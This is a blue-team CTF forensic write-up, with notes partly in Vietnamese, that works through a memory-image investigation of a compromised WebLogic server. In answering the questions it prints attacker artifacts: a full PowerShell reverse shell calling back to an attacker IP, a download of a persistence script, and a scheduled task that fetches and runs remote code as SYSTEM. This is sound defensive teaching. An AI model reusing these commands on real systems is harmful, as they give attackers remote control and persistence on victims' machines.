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Weblogic

📅 Published: 2026-04-29 15:49 | 🔄 Last Updated: 2026-05-08 13:27

https://cyberdefenders.org/blueteam-ctf-challenges/weblogic/

Q1 What is the version of the WebLogic server installed on the system?​

14.1.1.0.0

Q2 The admin set a port forward rule to redirect the traffic from the public port to the WebLogic admin portal port. What is the public and WebLogic admin portal port number? Format PublicPort:WebLogicPort (22:1337)​

\REGISTRY\MACHINE\SYSTEM\ControlSet002\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules {ACAB0365-5BFD-47D3-97FE-C0158EE875AD}

Port forwarding rules created via netsh on Windows are stored in the registry under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp. These settings are used for Windows native port forwarding. For specific applications like RDP or Windows Firewall, other registry keys are used

Ta tìm thấy như sau \REGISTRY\MACHINE\SYSTEM\ControlSet002\Services\PortProxy\v4tov4\tcp 192.168.144.131/80 "192.168.144.131/7001" False

\REGISTRY\MACHINE\SYSTEM\ControlSet002\Services\PortProxy\v4tov4\tcp 192.168.144.131/80 "192.168.144.131/7001" False

Q3 The attacker gain access through WebLogic Server. What is the PID of the process responsible for the initial exploit?​

java gọi hàng loạt powershell là điểm bất thường

Q4 The attacker used the vulnerability he found in the webserver to execute a reverse shell command to his own server. Provide the IP and port of the attacker server? Format: IP:port​

$client = New - Object System.Net.Sockets.TCPClient("192.168.144.129", 1339);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|% {
    0
};
while (($i = $stream.Read($bytes, 0, $bytes.Length))  - ne 0)  {;
    $data = (New - Object  - TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
    $sendback = (iex $data 2 > &1 | Out - String );
    $sendback2 = $sendback  +  "PS "  +  (pwd).Path  +  "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte, 0, $sendbyte.Length);
    $stream.Flush()
};
$client.Close()

Q5 Multiple files were downloaded from the attacker's web server. Provide the Command used to download the PowerShell script used for persistence?​

tập trung vào các process powershell 3520,2684,4200,4264,2712,1616,2132,1012,4344

Invoke-WebRequest -Uri "http://192.168.144.129:1338/presist.ps1" -OutFile "./presist.ps1"

Q6 What is the MITRE ID related to the persistence technique the attacker used?​

schtasks /create /tn ServiceUpdate /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.144.129/connect.ps1''))'" /sc onlogon /ru System

Q7 After maintaining persistence, the attacker dropped a cobalt strike beacon. Try to analyze it and provide the User-Agent.​

Beacon của cobalt parser bằng cách nào đẩy vào máy nạn nhân. Trong đó chứa configuration block, có nhiều thông tin quan trọng như: C2, port, protocol, user-agent,….

Nhưng thường bị mã hóa

python3 vol.py -f '/home/ubuntu/Desktop/Start Here/Artifacts/memory.mem' -o '/home/ubuntu/Desktop/Start Here/Artifacts/MemProcFS Output' windows.memmap --pid 1488 --dump

Ta dùng parse_beacon_config.py và parse file pid.1488.vad.0x3160000-0x355ffff.dmp

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) LBBROWSER

Q8 What is the URL of the exfiltrated data?​

strings -e l /home/ubuntu/Desktop/Challenges/processdump/pid.4596.dmp | grep -i 'exfiltrator.txt' -A1

https://pastebin.com/A0Ljk8tu